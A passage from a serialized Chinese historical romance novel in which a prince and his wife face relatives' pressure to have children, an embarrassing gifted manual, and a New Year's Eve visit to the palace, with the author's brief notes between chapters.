“大王近来可好,可有遇上什么为难之事?”颜漪问道。她是歉疚的,地方诸侯王回京,上下都需要打点,人情交际往来有些诸侯王本人不适合出面的,便需要王妃前去。然而她这几日都在定国公府,相应的百里漾需要操持的事情就会多,难免会累到。 “能办的我都办了,唯有一些是需要你出面的,暂时搁着了。”百里漾没有逞强说自己不累,既是诚实又能让王妃心疼自己。 而颜漪也确实心疼他了,爱抚地摸摸他的脸,问道:“大王辛苦了。其他的有什么是我能为大王分忧的?” 这还真有。 百里漾道:“越国姑母与淄川王叔那里我们得登门去拜访。这次淄川王叔不只自己来了,还带着叔母与泓堂兄一道进京来了。” 淄川王娶妻吕氏,生子百里泓,如今的淄川王世子。他比百里漾大上七八岁,生得高大清俊,宽额深目,为人颇严肃板正,印象中话比较少。 叔母吕氏与堂兄百里泓这些年一直在封地淄川,百里漾见他们的次数都不多。今次是颜漪头一次作为百里漾的妻子见他们,尤其是吕氏还是长辈,一些需要注意的事宜还是要说清楚,若是闹出什么不妥当之事就不好了。 “他们都是和善之人,如同越国姑母他们一般对待就是。”怕颜漪紧张,百里漾又安慰道。 颜漪自然不会因为这点事情就紧张。不过看着百里漾事事为她考虑周全的模样,她心中就充满了满足感。 “不会紧张,因为大王那时也会在我身边。” 被王妃这样全身心依赖信任着,那感觉是难以形容的美妙,他重重点头,像是承诺“我当然会在王妃身边,一直都会在。” 拜贴已经下了,百里漾接回了颜漪之后,在后面的两日分别拜访了越国长公主和淄川王。越国长公主是姐姐,淄川王是弟弟,按着长幼,二人先去了越国长公主那,次日再去的淄川王宅。 越国长公主还是那个待晚辈慈和随性的长辈,她很喜欢颜漪,拉着颜漪的手要展示自己最近新得到的好玩意,还要送一些给颜漪。颜漪推辞不过,最后收下致谢了。 更令人不好意思的是,越国长公主见夫妻俩成婚快两年了仍是一点消息都没有,热情地给她推荐有效的秘药,其用途让颜漪整张脸都红透了- 作者有话说:更新啦,求评论[可怜] 第158章 淄川王父子 越国长公主见了颜漪含羞的小脸, 心中忍不住笑,到底还是年轻夫妻,面皮就是薄。但小夫妻一直不生孩子也不是个事, 别以为她看不出来,皇后殿下嘴上说着随缘,一副不着急的模样,实则心里不知道急成什么样了。 既然皇后殿下顾忌着小两口的面子不好开口,那她就来帮这个忙好了。 在另外一边与姑父、表兄说着话的百里漾完全不知道他那好姑母给自己王妃分享了什么, 等到夜里用完酒食回去的时候, 喝了些酒有点微醺的百里漾才想起问颜漪姑母对她说了什么。 刚问完, 百里漾就被颜漪略带羞恼地瞪了一眼。他有些莫名,但微醺的脑袋让他思考不了太多, 只觉得他家王妃真是好看,就连瞪人也有别样的风情动人。 再之后, 百里漾就把这件事情给忘了,直到他们第二日前往淄川王宅拜访王叔。王叔很热情, 让王妃吕氏去招待颜漪, 自己则拉着百里漾说东说西, 然后就提到了子嗣的问题。 男人之间有时候说话是很直白直接的,淄川王上来就问百里漾是不是不太行,又说男人不能不行,自己在他这个年纪孩子都能遍地跑了。 百里漾闻言当即脑袋“哄”地一下就跟烧开的锅子似的,整张脸又红又热,感觉自己快被蒸熟了。他又羞又囧,赶紧找话题阻止淄川王继续说下去。但淄川王哪能让他把话题拐走,还摁住了他不让他找借口遁走,最后还送给了他很多自己多年的“珍藏”。 用脚后跟想都知道这些所谓的“珍藏”都是些什么东西。百里漾从来没有觉得有什么东西这么烧手过, 拿也不是不拿也不是。 淄川王见他迟迟不接,硬是塞到他手里,嘴上还哈哈笑道:“你小子脸皮这么薄可不行啊。” 百里漾都想求他别说了,再说下去自己可能就要被羞得烧死了。淄川王看这个侄子确实不经逗,也就不再继续这个话题。随后不久就有人来请他们去用膳了,百里漾遂有一种解脱的感觉。 晚宴上,豪迈的淄川王频频给百里漾举杯,还没等他说话就自己先干为敬了。世子百里泓见亲爹如此,亦有样学样。如此一来,百里漾不干都不行了。但后面结束归家,百里漾脑袋晕晕,但路还走得直,拱手向淄川王一家告别。 “没想到五王的酒量竟是如此之好。”淄川王世子感叹,转头对他爹说道,“这堂弟能处。” 如今正月在即,所有诸侯王齐聚湛京。淄川王作为皇帝唯一的亲兄弟,其他皇子唯一的王叔,这段日子来登门拜访的不止百里漾一个,其余几个也都来了。淄川王世子也如今日般一一接待了那些个堂兄弟。虽说定安王他们都是皇子,也皆为一方诸侯王,但彼此之间到底是不一样的。 定安王待他们父子热情归热情,但功利性太强,让人心中多多少少不太舒服;长夏王这人就让人打心里看不上他;山阳王还太年轻,即便尽力掩饰了,可还是免不了泄露出几分讨好的意味,叫人也亲近不起来。 反观五王的态度就自然多了,只拿他们当亲戚走动,不谄不媚,也没有居高临下的盛气凌人,甚至有时候还实诚过了头。 淄川王瞥了儿子一眼,悠悠道:“皇后殿下所出,焉有不好的?” 在淄川王心中,他只认崔皇后这么一个长嫂。当年他们百里氏还没有后来的光景时,父兄与他皆忙着在外拼搏,打地盘、挣家业,是长嫂一直在身后为他们操持内务、稳定后方,使得他们在前面打仗伤了有得治、兵器钝了能及时换上、饿了有热菜热汤吃。 后来百里氏起来了,逐渐在天下各路诸侯面前崭露头角,那些个从前看他们百里氏一眼都欠奉的世族高门像闻着腥味似的就想投靠过来了。 那些世族高门惯用的手段无非就是给他们爷仨塞女人,如今他大兄后宫里还剩下的那些女人好多都是这么来的。她们以及她们身后的家族都是奔着百里氏的权势来的,能有多少真心。只有长嫂是真正与他们百里氏共患难过来的,其余的都是上不了台面的东西,连带着她们生的儿子,他们百里氏的好处没见怎么继承,倒是各有各的歪。 尤其是百里洪,这也是个野心大的,素日里上蹿下跳的,当年庶人湛是个什么下场都没想明白,就这样的还想做太子? 瞧不上归瞧不上,淄川王也不会真的摆到面上来。他叮嘱儿子,“你也好些年没有来湛京了,这里的变化一时之间也难看得明白,许多事情多听听多看看总是不会错的。” 所谓多听听多看看就是不要贸然出头,更不要随意发表什么意见或是应承什么。这个道理淄川王世子自然能领会,当下恭敬应是。 淄川王对这个儿子还是放心的,摸摸胡须,“好了,一身酒味,赶紧去洗洗,省得你阿娘又要絮叨个没完了。” 淄川王世子:“……” 真正一身酒气快要腌入味的是您好不好?也不知道是谁借着招待五王的档口拼命喝的。他选择不反驳,反正待会招致阿娘一顿埋怨的人又不会是他,反而拱手恭敬告退,“儿这就去洗漱沐浴,儿告退了。” 淄川王满意摆手,让他回去了。 …… 这次从淄川王宅出来,百里漾可比昨日醉得厉害。但他向来有这一点好,那就是喝醉了从来不撒酒疯,在人前还能操持风度。就如今夜,他甚至还能骗过淄川王父子,让人以为他酒量好。 “大王今日怎喝得这般醉。”下了马车,初禾便上前与颜漪一同搀扶百里漾往王宅内走去。只是一靠近就被酒气熏到了,初禾不免说道。 “好了,快将大王扶进去。” 一个成年男子的重量是相当可观的,尤其是喝醉之后就更沉了。颜漪和初禾到底是两个女子,难免有些吃力。 走了几步,似乎是感觉到了身边人的吃力,百里漾轻轻推开她们,自己站直了,嘴里还嘟囔着,“不、不用、扶我,我自己、自己走就、可以了。”可惜脚不怎么听使唤,三步就走歪了,差点撞到博古架上。 “大王先好生坐着吧。”颜漪看不下去,强硬将人按在凳子上做好,一面吩咐初禾去催厨房将醒酒汤端上来,一面取了干布浸了热水拧干一点一点给他擦脸。 百里漾知道现在照顾他的人是王妃,一下子就变得很乖,仰着脸任由颜漪施为。 “大王明明喝不了那么多还对淄川王叔与泓堂兄来者不拒。”看着百里漾醉醺醺的模样,颜漪忍不住说道。 “唔。”脸上被热气蒸腾,百里漾闭着眼睛养神,逐渐清醒了些,他摸索着握上颜漪的手,给自己解释,“我也不想、喝的,但、但王叔喝的速度太、太快了,我、我这杯才、才喝完,他就、就开始喝第三、三杯了。” 颜漪无奈道:“淄川王叔那是被叔母禁酒的时间长了,好不容易逮着你送上门来,自然不会轻易放过了。”不借着招待你的机会喝酒往后还会有什么机会? 淄川王是好酒之人,顿顿无酒不欢,但这种饮食习惯并不好,长此以往势必会对身体造成严重负担。去年过完年后不久,过个年几乎顿顿饮酒饱的淄川王有一夜从酒楼里出来,上马车的时候直接撅了过去,吓坏了所有人,闹得是人仰马翻。所幸后来是醒过来了,但淄川王被大夫下了少饮酒的医嘱。 而淄川王妃本来就不喜欢丈夫饮酒,照顾一个不讲道理的醉鬼的痛苦她简直是受够了,何况因为饮酒过度直接影响了淄川王的身体健康。大夫让淄川王少喝酒,淄川王妃直接给丈夫下了禁酒令。 忍了快一年的淄川王差点没有被肚子里的酒虫给馋死,好不容易这次回京了,自己的禁令解了一点,他逮着机会可不得使劲喝么。 百里漾不说话,只一个劲地傻笑。颜漪愈发无奈,看着百里漾实在乖巧的脸忍不住上手摸了摸,然后又改摸为揉捏,揉圆捏扁都随她的心意,逐渐找到了一些乐趣。 “王妃,醒酒汤来了。”初禾这时出现,正巧看到了这一幕,不由尴尬又囧然,进也不是,退也不是,实在为难。 颜漪有被抓包做坏事的小惊慌,但很快淡定,对初禾道:“拿过来罢。” 百里漾喝完了醒酒汤又休息了一会儿,感觉头没有那么晕了便听王妃的话去沐浴了。临走之前,他将外面的衣物脱掉,只留里面的衣物在身上,浑然不知在他离开之后颜漪替他整理衣物时从他的外衣内袋里掉落了什么不得了的东西下来。 等百里漾沐浴回来,醉意已经去了七八分,但脑袋还是有些昏沉。在卧室里找了一圈没有发现王妃的身影,他也不着急,摸了茶杯倒了水慢慢喝着等王妃回来。 一切都很好直到他坐着坐着目光无意间扫过挂在衣架上的衣服,那是他今日穿出去的。随即他脑海里一念闪过——册子! 淄川王叔给他的册子还在内袋里放着呢。 这种东西是不好让人见到的,百里漾就想赶紧将它收起来。可是他一通翻找之后,发现那册子竟然不见了,不见了! 百里漾顿时急了。他分明记得淄川王叔硬塞给他之后他就揣在外衣的内袋之中了,那内袋有暗扣,册子应当不至于会掉下来。离开淄川王宅至上马车后,他还隔着衣物摸到了册子,说明并没有掉落外面,那就是掉在王宅之中了。 这哪里是掉了本册子,分明是掉了颗雷- 作者有话说:更新啦。 第159章 催生 不行, 必须得去找。 百里漾当即叫来了侍从,不多,三个而已, 人多了反而不好了。他将册子的形貌、大小描述给侍从听,并再三吩咐他们一旦找到立即拿来给他。侍从见大王神色凝重,当即拱手领命去办。 等颜漪从浴房出来,初禾上前为她擦拭头发,说了这事, “大王似乎是丢了什么要紧的东西, 眼下正令人在王宅中寻呢。” “丢了东西?”颜漪若有所思, 但很快她就想到了不久之前她在收拾百里漾衣物时掉落下来的册子,一想到自己打开看到里面的内容, 顿时霞飞满面,羞恼百里漾竟然将、将这样的东西放在衣服里揣了回来。再回想起昨日越国长公主私下给她推荐的有效秘药, 也不难猜出这册子是谁给百里漾的了。 一个姑母,一个王叔, 一前一后都做了相同的事情, 用意实在是明显。 颜漪眼眸微垂。算算时间, 她与百里漾成婚至今将近两年,然而一直没有消息传出,久而久之身边的亲朋都已经为他们着急起来。而从各方面来说,她与百里漾是需要有孩子的。 那几日在定国公府小住的时候,母亲曹氏也是提及了这个问题,言语间不乏对她的担忧。在母亲曹氏看来,没有孩子终究是不稳当的。她与百里漾的结合不仅仅是他们个人的事情,还有背后定国公府与椒房一脉的政治联合。他们所处的地位与处境决定了他们必须要拥有自己的孩子。一个未出世的孩子,不只是父亲母亲他们在盼着, 帝后也都在盼着,那些支持椒房一脉继承大统的臣子们也在盼着。 曹氏认为,即便如今的百里漾能够对女儿一心一意,可若是夫妻俩一直没有孩子,恐怕最后百里漾也要纳入新人以绵延子嗣,她女儿不仅不能拒绝,还得大度出面将一切办好。 颜漪能够理解母亲的担心,她也只听着,不会在母亲面前说什么“百里漾承诺过不会纳别人的女人”这类的话,因为对于不确定的将来,这类的话语太过苍白无力了。如今的帝后尚且还有耐心,但谁也说不准他们会不会在看到她与百里漾一直无所出之后动了给百里漾赐人的心思并付之行动。到时她与百里漾谁都拒绝不了。 初禾敏感地察觉到了颜漪情绪的变化,她不明白王妃明明前一刻还是似有羞恼,一会儿的功夫心情就变得沉重了。是因为什么呢,难道与大王要寻的东西有关?她想不明白,保持了静默,不使自己打扰到王妃的沉思,只专注为王妃擦干那一捧青丝。 “算了,你们回去休息吧。”得到一无所获的回复后,百里漾心累地让侍从退下,宽慰自己丢了就丢了。算起来也不是什么特别不得了的东西,反正也不会有人知道是他丢的。 遣去的三个侍从将从王宅门口到卧室这段路里外仔细找了三遍就是没有找到,要么是在外面丢的,要么是在王宅里面丢的,但是被人捡取了。百里漾怎么都还是觉得还是第一种的可能性比较大一点。 等颜漪回到卧室的时候,见到的是恹恹不乐的江都王一只。 “王妃回来了?” 百里漾看到颜漪眼睛一亮,暂时将找不到册子的不愉快抛到了脑后。颜漪轻轻颔首,走到了百里漾身边。而百里漾仰脸看她,脸上便落下一只温热的柔荑。 颜漪垂首看他,轻轻问道:“大王脑袋还疼么?” 不说这个还好,一说就跟给脑袋提了个醒似的,百里漾的脑袋开始一抽一抽地疼了。估计是之前丢失册子的惊吓让他一下子强制清醒了,在找寻的过程中注意力在册子上,连头疼的感觉都暂时被遗忘。但现在记起来了,脑袋应声似地一抽一抽开始疼了。 “疼的。”察觉到了王妃话语里的关切,百里漾意识到这是一个可以卖可怜求爱抚的好机会,于是抬手覆上了脸上的柔荑,让她摸摸自己。 颜漪顺他的意,摸摸他的脸,随后转至他的身后,双手抚上他的脑门两侧穴位,施以适中的力道按揉着。 百里漾万分享受这样与王妃相处的宁静时刻,直到颜漪忽然轻飘飘问出一句,“听闻大王丢了东西令人在找?” “!”百里漾略略一惊,觉得册子那样的东西在王妃面前有点难以启齿,面上更是忍不住老脸一红,支支吾吾道,“也、也不是什么特别重要的东西,找得到便罢,找不到便算了。” 这话说得就很心虚,王妃这会儿是背对着他的,应当没有看到他脸上有不对劲吧。 颜漪垂眸,却只看到百里漾的头顶。若是自己没有捡到那册子,即便知道了他派人去寻,估计也会信了他说的“丢了一件不是什么特别要紧的东西。 怀着忐忑地心情回答了之后,百里漾没有继续听到王妃就此再问下去,以为这事也就是她随口一问的,渐渐松了一口气。但事实证明,他高兴得太早了。 颜漪给他按揉完穴道之后撤身离开走到了书案那边,从压着的奏疏下面取出了那本小册子,在百里漾疑惑的目光中拿到他面前,以一种勉力维持了平静的语气问道:“大王丢的可是此物?” “!!!”百里漾大惊失色,身体的动作却比脑子快,接了那册子就想藏起来,中途反应过来后,动作硬生生僵住了,脖子也跟僵化了似的一卡一顿地转向颜漪,对视,尴尬。王妃的面上虽然看似淡然平静,实则耳下那一片莹白肌肤已经染上一种娇艳的粉色。 见此百里漾还有什么不明白的,这册子里的内容王妃定然是知道的, 心有一点点死了。 百里漾觉得自己还是要救一救的,思考片刻,他决定坦白,吭哧道:“这、这册子是王叔给我的。”并不是他自己动了花花心思主动去弄来的,这一点一定是要申明的。 颜漪的声音里有轻轻的叹息,“大抵是猜到了。大王要如何处理此物?” 处理? 百里漾很有求生意识,不带一点犹豫的,“我这就令人将扔掉,绝对不会再让它出现在你我的面前。”还要以示自己的纯洁,“我是不会看它的。” 有点心虚,其实是看过一点点的。 颜漪道:“不管怎么说,这也是姑母与王叔的一片好意,扔掉岂非是不恭。” 百里漾语塞,但他很快就捕捉到她话里多出来的字眼,“他们的好意,姑母何时?”他不傻,很快明白过来了,类似给他塞小册子这种事情,越国姑母与对王妃做过。难怪昨日回来时他问王妃越国姑母私下与她说了什么,王妃会是那般情态。 “他们,他们……”百里漾又是羞囧又是急的,随后有些无力。 成亲久了是这样的,大家都要关注生不生孩子的问题。可是这才不到两年啊,他们的身体都很健康,没有孩子只是缘分未到。这在他前世很正常的事情,可这里的人却不是这么想的。外面说不得已经开始怀疑他有隐疾或是王妃不能生了。 百里漾忽然意识到,在生孩子这件事情上,承受压力最大的人不是他,而是王妃。 这时代就是有这样的不好。一对夫妻生不出孩子,人们首先怀疑的就是女方不能生,为此女方不知道要承受多少身体以及精神上的压力。妻子不能生就要大度地替丈夫纳小以绵延子嗣;若是丈夫不能生大多数情况下为了保全他的面子还得对外谎称是妻子不能生,遭受外界议论乃至摧残的依旧是妻子。 百里漾惊觉自己是男人当久了,竟有些忘记了这个时代对女子有太多的束缚和不公。明明生孩子是夫妻两个人的事情,平日里顾忌着他的身份没几个人敢跑到他面前来叽歪,但他们可不会放过王妃,那些碎嘴巴的人对着他不敢放肆,却敢议论王妃的不是。他都可以想象得到那些不怀好意之人如何拿着“无出”这一条当作免罪金牌与利刃刺向王妃了。 百里漾越想越生气,拉过颜漪的手,“是不是有谁到你面前乱嚼舌根子、给你气受了?”他的面色极是严肃认真,一副要替她出气收拾那些人的气急败坏模样,眼里还带着森寒。 颜漪看着他,然后摇头,“有大王在,谁能将我欺负了去。” 不愿意说么? 百里漾有点颓丧,王妃这是不愿意相信他么?不行,他怎么可以如此想,可问题总要解决的不是。他微微用力握住了颜漪的手,再次郑重且坚定地表明自己的心意,“七娘,那些人的话你不用在意。大概是孩子与我们的缘分还未到,不必急于一时。” 他是真的不怎么着急,可其他人却是一个个的替他们着急,着急到已经影响了他们。若是无关紧要的人便罢了,可偏偏那些都是与他们亲近之人。他自己有时候也挺无力的,他都如此了,可想而知王妃的压力只会比他更大。 “如果可以,我希望我们的孩子是因为爱才来到这个世界上。为着这个,我会是一个很有耐心的父亲,无论他是来得早或晚,我会永远耐心地期盼着他的到来。” 他说的是他们的孩子,他会耐心且期盼的也只会是他们的孩子。所以,不要去在意别人说什么,他们只需要相信彼此的心就足够了。压力固然是有的,但是他们要一起面对。 “若是阿娘他们与你说了什么,不要什么都应承下来,有什么事情我会去与他们说的。”百里漾觉得自己要勇敢站出来,挡在王妃身前- 作者有话说:更新啦。 第160章 除夕 之前是他忽略了, 忘了王妃在这件事情上可能会受到的委屈。若是任由着别人将没有生孩子的问题只归咎到王妃身上,那他跟那些缝上嘴巴装死的死渣男有什么区别。这件事情他们一定要商量好了,若是哪一日在他不知情的情况下, 王妃推拒不了帝后,给他领回来几个侧室、媵妾,那他才真是要哭了。 想想还是挺令人惊悚的,因为这事是很有可能发生的。阿娘那里他可以去说,他有信心让阿娘不给他赐人, 但皇帝阿爹那里他就过不去。 这年头的人都盼着多子多福, 年老了更是希望儿孙满堂、子孙绕膝, 纵然是皇帝也不会例外。百里漾是清楚皇帝在这一方面的想法的,他一直遗憾东宫膝下仅有一女, 可太子的情况摆在那里,不能强求, 于是他便把目光转向了已经成婚的百里漾,恨不得幼子能三年抱两。 如今百里漾与颜漪成婚的时日还尚短, 皇帝会顾忌定国公的颜面而不给百里漾赐人, 可以耐心地再等上一等, 但时日一久,这份耐心恐怕会渐渐消弭。届时皇帝说要给百里漾赐人,谁也不能说什么。毕竟对于已是天家的百里氏来说,子嗣是头等大事,没有孩子那是绝对不行的。既然与王妃生不出来,那就换别的女人,这个不行,还有那个,一个不行还有两个、三个……总有能生的。 这事皇帝干的出来, 他的想法也是这个时代绝大多数高门权贵的所思所想,子嗣为要,妻子是正室需要敬重,给予体面,其他女人不过是为了绵延子嗣而存在的。如此一对比,百里漾才是那个格格不入的人,可他并不想随波逐流。 百里漾说的这些话是真心还是假意,颜漪分辨得出来,正是因为如此,她才尤为动容。不过是越国长公主与淄川王对他们生育之事的一点好意以及一些催生的暗示,百里漾却能够想到了这么多,想到她这些日子受到的压力和委屈,还愿意主动提出为她挡在前面。他处处照顾到她的想法和感受,这份体贴和用心实是让人感动。 颜漪觉得有些惭愧,因为她确实是存在一些借着此事试探百里漾的心思的。在江都时,百里漾是曾经承诺过此生绝不二色,可时事易移,人心易变,她不希望百里漾变,却也要知道他是不是已经在改变了。压力会改变一个人,权力的诱惑更是难以抵抗。 而她与百里漾处在这样的位置上,令她不得不多想一些。她是贪心的,百里漾的好让她想要独占。谁都期待良人对自己情深永不变,她也不能免俗。 “好,我自是信大王的。”颜漪回握住百里漾的手,眼眸中秋水莹莹,带着笑意泛滥开来。 说了这么些,王妃总算是回应他了。百里漾知道这事暂时是过去了,但远不到结束的时候。过这个年,还不知道有多少人会凑上来提及生孩子这个话题。这么一想,百里漾就觉得开始头痛了。眼下越国姑母和淄川王叔都过问了,也不知帝后那边会不会也如此。 前后加起来两辈子,百里漾从来没有想过自己有一天还能为生孩子的事情头痛。 诸侯王们抵京的日子都是年末,距离除夕本就没有几天了,匆忙将闲置了一年多的王宅清理打扫出来住进去,又紧着时间拜访了一圈亲朋故友,除夕便至了。 除夕之夜,阖家团圆,家家户户都关起门来,一家子围坐一桌吃团员宴。天家也不例外。日头渐偏西时开始,各处王宅、公主宅等便开始为主子们今夜前往皇宫赴宴做起了准备。江都王宅内,换好衣服的百里漾携王妃出门了,登上马车后朝着皇宫的方向驶去。 “今夜是家宴,来都是百里氏之人,许多你是见过的,没见过的也不必怕,有我在呢。”路上百里漾与颜漪说了下今夜的宫宴都会来些什么人,哪些人需要关注,哪些人只消面子上过得去就是了,最重要的一点是不能被人欺负了去。 百里漾想到王妃是头一回赴除夕家宴,怕她紧张不适,不知不觉又多说了些。好在王妃不嫌他啰嗦,从始至终都在认真倾听他说话,见他说得渴了还给他递水。 颜漪自然不会紧张,她自小由曹氏教导,待人接物从来都是落落大方,便是宫宴在成为江都王妃之前也参加过不少,自然不会怯场。百里漾的“絮叨”是对她的关心照顾,她也愿意就这样私下无人的时候听着他的“絮叨”。 百里漾的“絮叨”是有缘由的,只因今年的除夕夜宴比往年是有那么一点点不同,主要表现在来赴宴的人比以往多了一些。这些多出来的人虽然也姓百里,但对比荣王那样与天家亲近的族亲,与百里漾所在的这一脉的关系又疏远了不少。 当年高皇帝打天下的时候,这帮人大多没有帮上什么忙,大衍立朝之后凭借着身体里那一点与高皇帝相同的血脉获得了恩封,从此得享荣华富贵,但手里却没有什么权力。这些年来,这些人一直缩在湛京或是封地生活,过得也还算安分,平素里谁也不太记起来他们。 这一两年许是因为皇帝开始老了,人老了就开始惦念旧情,也不知道怎么的,皇帝就想起了这些待在角落里的族亲。一开始是赐点东西下去,随后就有了召见,到现在一些人连参加除夕家宴的资格都有了。这些人虽然说起来都不是什么紧要的人物,但到底是族亲,见着面了总要打一两声招呼的。 百里漾与颜漪入宫的时辰尚早,距离开宴还有一段时间,二人便先往椒房殿拜见皇后。 彼时皇后宫中也有来客,正是越国长公主、淄川王妃与荣王妃。几个姑嫂、妯娌凑到一起,可以说的话题太多了。百里漾与颜漪至殿门等候通传时,听到的便是她们的说笑声。辨认了一下,似乎说的是越国长公主的小孙儿最近闹出的一些令人捧腹的趣事。 百里漾的面色有一点点僵住了,忽然有点不想进去了。他与王妃来的有些不是时候,这时候进去了说不得话题就要转到他们身上了,回想到之前越国长公主与淄川王姐弟俩催生他们的事,他有点害怕。 四个女性长辈凑在一起,这威力一般人招架不住,他也不行。 百里漾与颜漪对视了一眼,让她看到了自己眼里的退缩之意。可退是不能退的,他们人已经到殿门口了,宫侍都入内禀报了,这时候走就是不恭了。 无法,只能硬着头皮进去了,只能期盼着她们不会起催生的话题了。 “看看谁来了?可巧,正说着呢,你们就来了。”说话的是越国长公主,笑指着进来的小夫妻说道。她这么一说,其余人的目光都朝百里漾与颜漪看过来了。 荣王妃是荣王微末之时便有的妻子,身上的特质与荣王相差无几,是个说话做事皆爽利的妇人,她笑道:“皇后殿下选儿媳的眼光真是好,瞧瞧他们一齐走进来时别提多登对了。” 淄川王妃也看了这一对璧人,亦笑着打趣了小夫妻俩,不过话却是对着皇后说的,“殿下有五王与王妃这般好的儿子儿媳,真是让人羡慕得紧啊。” “你可真是贪心,泓哥儿与侄媳妇那般孝顺,你还惦记着别家的儿子媳妇。”皇后笑骂了一句,引得其他人也发笑。 在她们说话的当口,百里漾与颜漪已经到近前了,恭恭敬敬地给四位长辈行礼问安。百里漾笑问道:“阿娘与姑母、婶婶们说些什么呢,这么高兴?” 皇后叫他们免礼,给他们赐座,又叫宫侍上茶上点心,含笑道:“说了一些你们儿时的趣事,正巧你们到了。”- 作者有话说:更新啦,求评论[可怜] 160-170 第161章 争端 皇后很高兴幼子儿媳来, 嘴上却还要问道:“今日怎来得如此之早?” 百里漾乖巧且嘴甜,“儿心中想念阿娘,提早入宫还能与阿娘多待些时间。” 他这一番带着依恋的讨巧话让越国长公主三人纷纷捂嘴笑, 用一种揶揄又羡慕的目光看向皇后,道:“五王可真是孝顺,自己来了还不算,还将王妃一同带来拜见殿下呢。” 自家孩子被夸赞了,做母亲的心中唯有高兴, 何况越国长公主夸的是幼子孝顺她这个阿娘, 皇后面上没说什么, 面上的笑意却是更深了。 皇后与越国长公主等人本来就是在拉家常,百里漾与颜漪加入进来之后话题居不可避免地转移到他们这对小夫妻身上了。百里漾之前不妙的预感很快应验了, 越国长公主看了这对越看越养眼的小夫妻,笑吟吟将话题转到了孩子上, “诶呀,真是想象不到他们日后的孩子该是多么的可爱灵秀。” 来了, 躲不过去的催生话题还是命中他们了。 百里漾只好尽量不说话, 纵然是提到了他们也只是含糊说了两句应付过去, 保持尴尬又不失礼貌的微笑以及适时表现出一点羞涩状。他还很护妻,但又不能在长辈面前表现得太过明显,否则越国长公主的揶揄就绝对少不了。 颜漪的应对也很得体,不过这种催生的话题对于成婚不久的新妇来说只需要做脸皮薄状、面露羞涩便能够在四位和善的女性长辈面前混过去了。 夫妻一年多,这点小默契还是有的。目光对视间,百里漾与颜漪配合着将催生这个话题应对下来。可皇后等人都是祖母辈的人了,今日又是除夕,大家难得凑在一起聊家常,关于儿孙的话题轻易是聊不完的。久了, 弄得百里漾越发有种“如坐针毡”的感觉,想着如何遁走。 皇后哪里看不到幼子“坐立不安”的模样,心里是好笑又微微叹息,找了一个理由“赦免”他们,“好了,让你陪着我们聊这些,这椅子上就好似长了钉子,也不为难你们在这待着了。阿荧昨日念叨着王叔和叔母好些日子没有去看她了,开宴还有些时间,你们去东宫看看她吧。” 百里漾闻言不由一喜,但不能欢喜得太过明显,说了些讨阿娘欢心的话才拉着颜漪告退。 看着小夫妻俩跑得比兔子还快,皇后没好气道:“臭小子,还真是有了媳妇忘了娘,全紧张自己媳妇去了。” 这话一听就是母亲对儿子的小抱怨,听的人可不能当真,话要反着来说。越国长公主等人肯定不会顺着皇后的话说百里漾与颜漪不好。 越国长公主笑着劝说道:“小夫妻,正是粘腻的时候。他们这样还算是好的,恒哥儿和他媳妇刚成亲那段时间那腻歪劲才是没眼看。” 淄川王妃亦说道:“五王孝顺,又是个会心疼人的。他与王妃感情好,殿下抱孙的愿望还能远了?” 虽然皇后不明说,可说不知道她无论是对太子妃这个儿媳还是对江都王妃都满意着呢。眼下令人有些着急的无非是江都王夫妇俩还没个喜信传出,可小夫妻俩成亲也不算久,日子也长着呢。再说了,方才也不是没有看到那小夫妻俩的粘腻劲,别看两人都端端正正各自坐着,可那对视之间眼神都要黏在一起了,那氛围外人插都插不进去。 啧啧啧,真是看得她们这些上了年纪的长辈牙酸。 皇后也不是真的怨幼子有了媳妇忘了娘,幼子与王妃的夫妻感情好,她高兴还来不及呢。越国长公主她们说的也没有错,凭小夫妻俩的粘糊劲,还怕日后没有孩子么?再等等就是。 这么一想,皇后故作不悦的脸上又带上了笑意,然后一群祖母辈的人顺着这个话题开始畅享起了日后百里漾与颜漪的孩子会是什么样子,会是像父亲还是像母亲多一些,最后得出“不管是像谁都必然是个漂亮娃”的结论。 已经走远的百里漾与颜漪并没有听到皇后等人后续的讨论,否则都不知道该如何狂汗了。到了一出走廊下,百里漾长舒了一口气,一副“逃过一劫”的劫后余生样,“总算是出来了。” 他这夸张模样看得颜漪好笑,想到他在椒房殿许多次主动替她接过长辈们的话头,心中不由一暖,笑道:“大王逃似的出来,恐怕下次要挨母后的埋怨唠叨了。” 皇后想要催促儿子赶紧生个孩子出来,他却顾左右而言他就是不应下这个话茬,皇后可不得埋怨他么。一般人家若是遇到这种情况,做母亲的恐怕会认为是儿媳从中作梗,哪有男子不愿意诞育子嗣的。可颜漪并不担心皇后会因为此事就怨怒至自己身上,皇后向来明事理,故而她也只说是“埋怨唠叨”。 百里漾见王妃是真的心情好,并没有受到椒房殿中越国长公主她们打趣式催生话题的影响,神色也愉悦起来,“下次是下次的事情,先逃过眼前这一次。” 颜漪看他一副“明日愁来明日愁”的轻松样,忍不住笑了出来,玩笑道:“若是那时,我可不帮你说话。” 百里漾看她笑,更高兴了,带着高高兴兴地往东宫去了。只不过他们到东宫时,东宫的氛围却不是很好,具体表现在太子的焦急无措上。 “阿荧怎么哭了?”百里漾带着颜漪先给太子行礼,随后皱着眉问道。 阿荧抓着一个熊猫布偶要哭不哭的,身上的宫装也有脏了一块,稚嫩的小脸上又是气愤又是委屈,一直在说着,“他坏,阿荧以后都不要和他玩了。” “五郎、弟妹你们来得正好。”太子真不知道该如何哄女儿呢,眼见百里漾与颜漪到来就想看到了救星似的,赶紧说道。 百里漾与颜漪对视一眼,随后颜漪就哄小姑娘,哄着她先去将衣服换了。阿荧还挺喜欢这个叔母的,被软声软语红了几句就听话地牵着叔母的手离开了。 太子对颜漪投来感激的一眼,又令左右伺候的人跟着,一指椅子让百里漾坐,又令人将茶点端上来。兄弟俩坐下之后,太子揉了揉眉心,才说起今日之事为哪遭。 “今日除夕,老三老四他们几个进宫都早。”太子淡淡说道。 诸侯王无诏不能进京,自然也不能随意入宫。念及今日是除夕团圆之夜,皇帝准诸王提前入宫。定安王几个自然不会放过这个机会,皆是早早就入宫了。定安王入宫早是为了看望自己的母妃周贵妃,长夏王是在定安王后脚来的,但他生母早逝,脚一拐往宣室殿去了, 两人入宫都带了王妃与儿女来,长夏王此次回京将自己与王妃生的女儿以及一个行四的儿子也带来了。长夏王带着妻儿往宣室殿拜见皇帝,他家四郎受不了在御前拘谨的氛围,说要出去玩。皇帝对几年都不见一回的皇孙还是慈爱的,看小孩坐不住,又见外边天气尚好,不算很冷,便让宫侍带着人出去玩了,让伺候的人小心照看着。 